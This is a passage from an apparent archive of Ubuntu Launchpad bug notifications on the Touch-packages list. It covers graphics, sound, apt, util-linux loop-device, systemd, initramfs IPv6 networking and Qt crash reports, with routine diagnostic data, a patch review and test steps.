11.2.0-1ubuntu2.2 version.xserver-xorg-core: xserver-xorg-core 2:1.18.3-1ubuntu2.3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.1-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.7.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20160325-1ubuntu1.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.12-1build2 xserver.bootTime: Mon Nov 21 09:28:38 2016 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id8685 vendor AUO xserver.version: 2:1.18.3-1ubuntu2.3 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug compiz-0.9 ubuntu xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1644142 Title: Intel graphocs card error Status in xorg package in Ubuntu: New Bug description: Dont recognize webGL ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed Nov 23 10:17:39 2016 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu DkmsStatus: vboxhost, 5.0.20, 4.4.0-45-generic, x86_64: installed vboxhost, 5.0.20, 4.4.0-47-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Dell 3rd Gen Core processor Graphics Controller [1028:053d] InstallationDate: Installed on 2016-05-20 (186 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) MachineType: Dell Inc. Latitude E5530 non-vPro ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-47-generic root=UUID=37d61e6c-8d00-479b-8749-77e82d82d95f ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/08/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A07 dmi.board.name: 05GRXT dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA07:bd10/08/2012:svnDellInc.:pnLatitudeE5530non-vPro:pvr01:rvnDellInc.:rn05GRXT:rvrA00:cvnDellInc.:ct9:cvr: d
[Touch-packages] [Bug 1643847] Re: Ubuntu 16.04 no sound after change volume
It seems there is a bug in pulseaudio 3.1, I updated yesterday and no sound since then. We are many to report an absence of sound for the last 24h after updating from the version 3 to 3.1. See my logs: Upgrade: libpulsedsp:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), pulseaudio:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), libpulse0:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), libpulse-mainloop-glib0:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), pulseaudio-module-x11:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), pulseaudio-module-bluetooth:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1), pulseaudio-utils:amd64 (1:8.0-0ubuntu3, 1:8.0-0ubuntu3.1) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1643847 Title: Ubuntu 16.04 no sound after change volume Status in pulseaudio package in Ubuntu: Confirmed Bug description: I did a new ubuntu 16.04 installation. All worked great until i tried to test the speaker sound. When I did it the analog stereo option dissappeared and only had digital and hdmi option. The sound card is onboard (A Realtek ALC888 Audio). With ubuntu 14.04 i havent any problem. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu3.1 ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: luna 1790 F pulseaudio /dev/snd/controlC1: luna 1790 F pulseaudio CurrentDesktop: Unity Date: Tue Nov 22 08:36:07 2016 EcryptfsInUse: Yes InstallationDate: Installed on 2016-11-21 (0 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/23/2008 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: V3.3 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: MS-7374 dmi.board.vendor: MSI dmi.board.version: 1.0 dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrV3.3:bd12/23/2008:svnMSI:pnMS-7374:pvr1.0:rvnMSI:rnMS-7374:rvr1.0:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: MS-7374 dmi.product.version: 1.0 dmi.sys.vendor: MSI To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1643847/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1643847] Re: Ubuntu 16.04 no sound after change volume
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: pulseaudio (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1643847 Title: Ubuntu 16.04 no sound after change volume Status in pulseaudio package in Ubuntu: Confirmed Bug description: I did a new ubuntu 16.04 installation. All worked great until i tried to test the speaker sound. When I did it the analog stereo option dissappeared and only had digital and hdmi option. The sound card is onboard (A Realtek ALC888 Audio). With ubuntu 14.04 i havent any problem. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: pulseaudio 1:8.0-0ubuntu3.1 ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: luna 1790 F pulseaudio /dev/snd/controlC1: luna 1790 F pulseaudio CurrentDesktop: Unity Date: Tue Nov 22 08:36:07 2016 EcryptfsInUse: Yes InstallationDate: Installed on 2016-11-21 (0 days ago) InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) SourcePackage: pulseaudio UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/23/2008 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: V3.3 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: MS-7374 dmi.board.vendor: MSI dmi.board.version: 1.0 dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrV3.3:bd12/23/2008:svnMSI:pnMS-7374:pvr1.0:rvnMSI:rnMS-7374:rvr1.0:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: MS-7374 dmi.product.version: 1.0 dmi.sys.vendor: MSI To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1643847/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1522675] Re: Can't drop privileges for downloading : _apt user not allowed
I only had that whily trying to install ttf-mscorefonts-installer The problem appeared after upgrading from 15.10 gnome-ubuntu flavour to its 16.04 LTS version (amd64) I solved the problem by downloading (manually) the 3.6 version of ttf-mscorefonts-installer from debian (https://packages.debian.org/de/sid/all/ttf-mscorefonts-installer/download). installing that package with gnome's software center (and probably also ubuntu's software center) works perfectly. Probably this is a workaround and not a solution -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1522675 Title: Can't drop privileges for downloading : _apt user not allowed Status in apt package in Ubuntu: Confirmed Status in dpkg package in Ubuntu: Confirmed Status in synaptic package in Debian: New Bug description: Recently we got new versions for synaptic 0.82+build1 & apt 1.1.3, but now get that error when installing/upgrading some packages: Setting up libc6-dbg:amd64 (2.21-0ubuntu5) ... Processing triggers for libc-bin (2.21-0ubuntu5) ... W: Can't drop privileges for downloading as file '/root/.synaptic/tmp//tmp_cl' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied) From nautilus, i'm seeing a /root/ folder locked (x on its icon) and the folder is empty (no /.synaptic/ sub-folder or file), so the above error. oem@u64:~$ ls -l .synaptic total 4 -rw-rw-r-- 1 oem oem 0 Aug 25 11:19 options -rw-rw-r-- 1 oem oem 236 Aug 25 11:19 synaptic.conf oem@u64:~$ ls -l /var/lib/apt/lists/ -rw-r- 1 root root0 Sep 20 06:36 lock drwx-- 2 _apt root16384 Sep 24 15:25 partial .. oem@u64:~$ sudo ls -l /var/lib/update-notifier/package-data-downloads/ . drwxr-xr-x 2 _apt root 4096 Sep 22 23:33 partial ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: synaptic 0.82+build1 ProcVersionSignature: Ubuntu 4.3.0-1.10-generic 4.3.0 Uname: Linux 4.3.0-1-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.19.2-0ubuntu8 Architecture: amd64 CurrentDesktop: GNOME Date: Fri Dec 4 05:23:25 2015 SourcePackage: synaptic UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1522675/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1640823] Re: [trusty] mount -o loop is limited to 8 loop devices
This felt unusually risk to me, so I took a look at the patch before releasing. I found a number of problems: 1. This patch leaks a file descriptor every time the new code path runs. loop_ctl_fd is opened but not closed. 2. "int devnr = -1" is defined but never used. 3. > ll->ncur = ioctl(loop_ctl_fd, LOOP_CTL_GET_FREE); This is wrong. ncur is an integer iterator, not necessarily a loop number. It keeps state between multiple calls to looplist_next, and you're clobbering it. It may be the case that it happens not to get used again when LLFLG_LOOPCTL is set, but that's no reason to re-use an existing variable for a different purpose. This makes the code much more difficult to check for unexpected side effects and thus may hide bugs. 4. looplist_next() is called to acquire both free and used loop device fds (based on LLFLG_USEDONLY/LLFLG_FREEONLY; see looplist_open_dev()). The fashion in which it does this is quite convulated. Additionally, it appears designed to be called multiple times (like a C++ iterator). The new code will always return a new loop device when requested. This is of course the point of this SRU. However, a consequence of this is that calls to looplist_next with LLFLG_FREEONLY are now unbounded, and this may have implications throughout the code. I can't find any, but this is certainly Regression Potential territory, and IMHO all known use cases that call looplist_next() should be checked for correct behaviour in SRU verification. 5. The "mount" and "umount" commands also call functions defined by lomount.c, so loop-affecting behaviour should be checked in these, too. It feels like luck to me that this code didn't introduce a bug that I could find. However, we want to minimise regression risk in SRUs. Even though I couldn't find a specific bug, issues 1 and 3 above unnecessarily add to the risk of regression in this SRU, IMHO, and are easy to mitigate. So I'm marking this bug verification-failed. You might as well fix issue 2 while you're there. For issues 4 and 5, I'll update the test plan in the bug description. ** Tags removed: verification-done ** Tags added: verification-failed ** Description changed: trusty has a very old util-linux which does not yet know about /dev /loop-control to create arbitrarily many loop devices. This feature was introduced in Linux 3.1 already (i. e. before precise even). This is a showstopper for backporting snappy as that needs a lot of loop mounts. Support for loop-control got introduced later util-linux versions, but backporting full support for it (for losetup) is too intrusive. We only need a partial backport for "mount -o loop". SRU TEST CASE: First, use up all default 8 loop devices: $ for i in `seq 8`; do echo $i; sudo losetup --find /etc/issue; done Now try to use a 9th: $ dd if=/dev/zero of=/tmp/img bs=1M count=50 $ mkfs.ext2 -F /tmp/img $ sudo mount -o loop /tmp/img /mnt With current trusty's "mount" package this will fail with "could not find any free loop device". With the proposed version, this should succeed, and "sudo losetup -a" should show "/dev/loop8: ... (/tmp/img)". Now, reboot, disable loop-control with sudo mv /dev/loop-control{,.disabled} and run the test case again. Now "mount -o loop" should fail with "could not find any free loop device" (as before). Ensure that there are no hangs, infinite loops, etc. + ADDITIONAL REGRESSION CHECKING TEST CASES + + 1. Check that every type of losetup call documented in the losetup + manpage still works correctly. + + 2. Check that mount and umount commands that use loop devices still work + correctly. + REGRESSION POTENTIAL: /dev/loop-control and the corresponding util-linux support has exited for a long time without known/major issues, so this should be fairly safe. Also, the patch falls back to the previous "iterate over loop0 to loop7" behaviour if loop-control is not available. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1640823 Title: [trusty] mount -o loop is limited to 8 loop devices Status in util-linux package in Ubuntu: Fix Released Status in util-linux source package in Trusty: Fix Committed Bug description: trusty has a very old util-linux which does not yet know about /dev /loop-control to create arbitrarily many loop devices. This feature was introduced in Linux 3.1 already (i. e. before precise even). This is a showstopper for backporting snappy as that needs a lot of loop mounts. Support for loop-control got introduced later util-linux versions, but backporting full support for it (for losetup) is too intrusive. We only need a partial backport for "mount -o loop". SRU TEST CASE: First, use up all default 8 loop devices: $ for i in `seq 8`; do echo $i; sudo losetup --find /etc/issue; done Now try to use a 9th: $ dd if=/dev
[Touch-packages] [Bug 1581640] Re: package libpam-systemd:amd64 229-4ubuntu6 failed to install/upgrade: subprocess installed post-installation script returned error exit status 128
I got the bug during update from 15.10 to 16.04 gnome flavoured ubuntu (amd64) the error was something like: failed to install systemd exit code 2 and all the depending packages (including gnome itself) failed due to dependency problems the distro-upgrade ended with a partial rollback. Before reboot I did an dpkg --configure -a which resulted in: too many errors, break So I tried apt-get install systemd which worked perfectly and afterwards I did apt-get update apt-get upgrade and my distro-upgrade was fine PS sorry for not havin noted down the exact error messages, I was panicking a little -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1581640 Title: package libpam-systemd:amd64 229-4ubuntu6 failed to install/upgrade: subprocess installed post-installation script returned error exit status 128 Status in systemd package in Ubuntu: Confirmed Bug description: During installation of this package my PC froze and the only way was to make reboot after switching to console (GUI was totally frozen) ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libpam-systemd:amd64 229-4ubuntu6 ProcVersionSignature: Ubuntu 4.4.0-22.39-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Fri May 13 20:14:26 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 128 InstallationDate: Installed on 2016-02-28 (75 days ago) InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160225.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.12~ubuntu16.04.1 SourcePackage: systemd Title: package libpam-systemd:amd64 229-4ubuntu6 failed to install/upgrade: subprocess installed post-installation script returned error exit status 128 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1581640/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1621507] Re: initramfs-tools configure_networking() fails to dhcp ipv6 addresses
This bug was fixed in the package open-iscsi - 2.0.873+git0.3b4b4500-14ubuntu3.2 --- open-iscsi (2.0.873+git0.3b4b4500-14ubuntu3.2) xenial; urgency=medium [ LaMont Jones ] * Clean up net-interface-handler * Source /run/net6-*.conf when needed. [ Mathieu Trudel-Lapierre ] * debian/extra/initramfs.local-top: handle IPv6 configs being shipped in DEVICE6 or /run/net6-*.conf in the initramfs, so we can fill in /run/initramfs/open-iscsi.interface (LP: #1621507) -- Mathieu Trudel-Lapierre Tue, 08 Nov 2016 15:52:50 -0500 ** Changed in: open-iscsi (Ubuntu Xenial) Status: Fix Committed => Fix Released ** Changed in: open-iscsi (Ubuntu Yakkety) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu. https://bugs.launchpad.net/bugs/1621507 Title: initramfs-tools configure_networking() fails to dhcp ipv6 addresses Status in MAAS: Fix Committed Status in initramfs-tools package in Ubuntu: Fix Released Status in isc-dhcp package in Ubuntu: Fix Released Status in klibc package in Ubuntu: Won't Fix Status in open-iscsi package in Ubuntu: In Progress Status in initramfs-tools source package in Xenial: Triaged Status in isc-dhcp source package in Xenial: In Progress Status in klibc source package in Xenial: Won't Fix Status in open-iscsi source package in Xenial: Fix Released Status in initramfs-tools source package in Yakkety: In Progress Status in isc-dhcp source package in Yakkety: In Progress Status in klibc source package in Yakkety: Won't Fix Status in open-iscsi source package in Yakkety: Fix Released Status in klibc package in Debian: New Bug description: initramfs' configure_networking function uses ipconfig to configure the network. ipconfig does not support dhcpv6. See: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=627164 Related bugs: * bug 1229458: grub2 needed changes * bug 1621615: network not configured when ipv6 netbooted into cloud-init * bug 1635716: Can't bring up a machine on a dual network (ipv4 and ipv6) [Impact] It is not possible to netboot Ubuntu with a network-based root filesystem in an ipv6-only environment. Anyone wanting to netboot in an ipv6-only environment is affected. These uploads address this by replacing the one-off klibc dhcp client (IPv4-only) with the defacto standard isc-dhcp-client, and thereby provide both ipv6 and ipv4 DHCP configuration. [Test Case] See Bug 1229458. Configure radvd, dhcpd, and tftpd for your ipv6-only netbooting world. Pass the boot process an ipv6 address to talk to, and see it fail to configure the network. [Regression Potential] 1) This increases the uncompressed initramfs size by approximately 500KB, since isc-dhcp-client is added, but klibc is still needed for some other things, and is therefore present. On systems with a very small /boot partition, this could result in failure to upgrade the initramfs. 2) In at least some cases, DHCP network configuration shifts from klibc's ipconfig to isc-dhcp-client's dhclient. This should be of minimal risk, as isc-dhcp-client is in very very widespread use. In the event of a regression, network boot would fail, but the prior kernel should still be bootable. To manage notifications about this bug go to: https://bugs.launchpad.net/maas/+bug/1621507/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1621507] Re: initramfs-tools configure_networking() fails to dhcp ipv6 addresses
This bug was fixed in the package open-iscsi - 2.0.873+git0.3b4b4500-14ubuntu8.1 --- open-iscsi (2.0.873+git0.3b4b4500-14ubuntu8.1) yakkety; urgency=medium [ LaMont Jones ] * Clean up net-interface-handler * Source /run/net6-*.conf when needed. [ Mathieu Trudel-Lapierre ] * debian/extra/initramfs.local-top: handle IPv6 configs being shipped in DEVICE6 or /run/net6-*.conf in the initramfs, so we can fill in /run/initramfs/open-iscsi.interface (LP: #1621507) -- Mathieu Trudel-Lapierre Tue, 08 Nov 2016 15:52:57 -0500 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu. https://bugs.launchpad.net/bugs/1621507 Title: initramfs-tools configure_networking() fails to dhcp ipv6 addresses Status in MAAS: Fix Committed Status in initramfs-tools package in Ubuntu: Fix Released Status in isc-dhcp package in Ubuntu: Fix Released Status in klibc package in Ubuntu: Won't Fix Status in open-iscsi package in Ubuntu: In Progress Status in initramfs-tools source package in Xenial: Triaged Status in isc-dhcp source package in Xenial: In Progress Status in klibc source package in Xenial: Won't Fix Status in open-iscsi source package in Xenial: Fix Released Status in initramfs-tools source package in Yakkety: In Progress Status in isc-dhcp source package in Yakkety: In Progress Status in klibc source package in Yakkety: Won't Fix Status in open-iscsi source package in Yakkety: Fix Released Status in klibc package in Debian: New Bug description: initramfs' configure_networking function uses ipconfig to configure the network. ipconfig does not support dhcpv6. See: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=627164 Related bugs: * bug 1229458: grub2 needed changes * bug 1621615: network not configured when ipv6 netbooted into cloud-init * bug 1635716: Can't bring up a machine on a dual network (ipv4 and ipv6) [Impact] It is not possible to netboot Ubuntu with a network-based root filesystem in an ipv6-only environment. Anyone wanting to netboot in an ipv6-only environment is affected. These uploads address this by replacing the one-off klibc dhcp client (IPv4-only) with the defacto standard isc-dhcp-client, and thereby provide both ipv6 and ipv4 DHCP configuration. [Test Case] See Bug 1229458. Configure radvd, dhcpd, and tftpd for your ipv6-only netbooting world. Pass the boot process an ipv6 address to talk to, and see it fail to configure the network. [Regression Potential] 1) This increases the uncompressed initramfs size by approximately 500KB, since isc-dhcp-client is added, but klibc is still needed for some other things, and is therefore present. On systems with a very small /boot partition, this could result in failure to upgrade the initramfs. 2) In at least some cases, DHCP network configuration shifts from klibc's ipconfig to isc-dhcp-client's dhclient. This should be of minimal risk, as isc-dhcp-client is in very very widespread use. In the event of a regression, network boot would fail, but the prior kernel should still be bootable. To manage notifications about this bug go to: https://bugs.launchpad.net/maas/+bug/1621507/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1631474] Re: No networking with initramfs-tools 0.122ubuntu8.3 and ip=dhcp boot option
This is confusing. Yakkety has never (to date) had an SRU land. So the proposed revert to Yakkety isn't actually a revert from Yakkety's perspective. Doing so would mean a behavioural change to Yakkety users, no? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1631474 Title: No networking with initramfs-tools 0.122ubuntu8.3 and ip=dhcp boot option Status in initramfs-tools package in Ubuntu: In Progress Status in initramfs-tools source package in Xenial: Fix Released Status in initramfs-tools source package in Yakkety: Fix Committed Status in initramfs-tools source package in Zesty: In Progress Bug description: [Impact] * initramfs-tools SRUs introduced regressions in ip= syntax, which cause unexpected behavior [Test Case] * Create a machine that boots using an nfsroot. * Use ip=:eth0:dhcp on the kernel command line. To set up networking. * Discover that the device never comes up because, networking is not configured correctly. [Regression Potential] Should be back to original behavior before ipv6 support was introduced in the past 2 or 3 SRUs. [Other Info] * There are a number of other issues in this code base that are not solved by this fix. - The ?*:?*:?*:?*: use case falls through to the default case, and likely breaks there. As such static assignment via ip= appears broken - * The networking configuration does not strictly follow the kernel documentation as described https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt . This should be fixed. This bug is a regression of changes made under bug 1628306. Original Bug Description Follows== initramfs-tools 0.122ubuntu8.3 introduced a serious regression where networking is not initialized when the boot option "ip=dhcp" is provided. We are seeing this problem in AWS, but cannot confirm if this issue is specific to AWS or will occur with different hardware or in different environments. Removing "ip=dhcp" from the boot options with 0.122ubuntu8.3 results in networking being configured. The issue does not occur with 0.122ubuntu8.2 or previous versions when "ip=dhcp" is set. AWS has no console so debugging is not a trivial task. I do have a console log with some output, and will update this bug shortly with it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1631474/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642605] Re: maliit-framework segmentation fault with Qt 5.7.1
The crash is a bit due three different things: * QDateTime uses a shared global pointer to init the default QDateTime (this is changed in Qt 5.7) * MImSettings using a QScopedPointer for storing the factory * QSettings not setting the pendingChanges flag back to false after sync() is called We can fix this problem by fixing any of the three and i think what makes more sense is actually fixing QSettings since it seems a bug anyway. Upstream patch at https://codereview.qt-project.org/#/c/177557/ -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to maliit-framework in Ubuntu. https://bugs.launchpad.net/bugs/1642605 Title: maliit-framework segmentation fault with Qt 5.7.1 Status in maliit-framework package in Ubuntu: New Bug description: It seems there is a segmentation fault with Qt 5.7.1 with maliit- framework as shown at https://launchpadlibrarian.net/293811765 /buildlog_ubuntu-zesty-amd64.maliit-framework_0.99.1+git20151118 +62bd54b-0ubuntu13~1_BUILDING.txt.gz -- TESTING_IN_SANDBOX=1 TESTPLUGIN_PATH=../plugins TESTDATA_PATH=/<>/maliit-framework-0.99.1+git20151118+62bd54b/tests LD_LIBRARY_PATH=../../lib:../../lib/plugins:../plugins: ./ut_mimsettings * Start testing of Ut_MImSettings * Config: Using QtTest library 5.7.1, Qt 5.7.1 (x86_64-little_endian-lp64 shared (dynamic) release build; by GCC 6.2.0 20161109) PASS : Ut_MImSettings::initTestCase() PASS : Ut_MImSettings::testValue() PASS : Ut_MImSettings::testModifyValue() PASS : Ut_MImSettings::testUnsetValue() PASS : Ut_MImSettings::testModifyValueNotification() PASS : Ut_MImSettings::testListDirs() PASS : Ut_MImSettings::testListEntries() PASS : Ut_MImSettings::cleanupTestCase() Totals: 8 passed, 0 failed, 0 skipped, 0 blacklisted, 44ms * Finished testing of Ut_MImSettings * Segmentation fault (core dumped) Makefile:336: recipe for target 'check' failed make[4]: *** [check] Error 139 -- More information about Qt 5.7.1 at https://wiki.ubuntu.com/Touch/QtTesting To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/maliit-framework/+bug/1642605/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642605] Re: maliit-framework segmentation fault with Qt 5.7.1
** Also affects: qtbase-opensource-src (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to maliit-framework in Ubuntu. https://bugs.launchpad.net/bugs/1642605 Title: maliit-framework segmentation fault with Qt 5.7.1 Status in maliit-framework package in Ubuntu: New Status in qtbase-opensource-src package in Ubuntu: New Bug description: It seems there is a segmentation fault with Qt 5.7.1 with maliit- framework as shown at https://launchpadlibrarian.net/293811765 /buildlog_ubuntu-zesty-amd64.maliit-framework_0.99.1+git20151118 +62bd54b-0ubuntu13~1_BUILDING.txt.gz -- TESTING_IN_SANDBOX=1 TESTPLUGIN_PATH=../plugins TESTDATA_PATH=/<>/maliit-framework-0.99.1+git20151118+62bd54b/tests LD_LIBRARY_PATH=../../lib:../../lib/plugins:../plugins: ./ut_mimsettings * Start testing of Ut_MImSettings * Config: Using QtTest library 5.7.1, Qt 5.7.1 (x86_64-little_endian-lp64 shared (dynamic) release build; by GCC 6.2.0 20161109) PASS : Ut_MImSettings::initTestCase() PASS : Ut_MImSettings::testValue() PASS : Ut_MImSettings::testModifyValue() PASS : Ut_MImSettings::testUnsetValue() PASS : Ut_MImSettings::testModifyValueNotification() PASS : Ut_MImSettings::testListDirs() PASS : Ut_MImSettings::testListEntries() PASS : Ut_MImSettings::cleanupTestCase() Totals: 8 passed, 0 failed, 0 skipped, 0 blacklisted, 44ms * Finished testing of Ut_MImSettings * Segmentation fault (core dumped) Makefile:336: recipe for target 'check' failed make[4]: *** [check] Error 139 -- More information about Qt 5.7.1 at https://wiki.ubuntu.com/Touch/QtTesting To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/maliit-framework/+bug/1642605/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1534674] Re: [AdaptivePageLayout] Add function to return the top Page of a PageColumn
** Changed in: ubuntu-ui-toolkit (Ubuntu) Assignee: Tim Peeters (tpeeters) => (unassigned) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-ui-toolkit in Ubuntu. https://bugs.launchpad.net/bugs/1534674 Title: [AdaptivePageLayout] Add function to return the top Page of a PageColumn Status in ubuntu-ui-toolkit package in Ubuntu: Triaged Bug description: Add a function that will return a reference to the top Page object in a specific PageColumn. Suggestion: getPageInColumn(int columnIndex) Use Case: In uReadIt I have at most a 3-column layout. I would like a user action on an item in the first column to add a Page to the 3rd column. This requires knowing the current page in the 2nd column in order to call pageStack.addPageToNextColumn(secondPage, "SourcePage.qml"). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-ui-toolkit/+bug/1534674/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1639533] Re: Failure to update ~/.xsession-errors
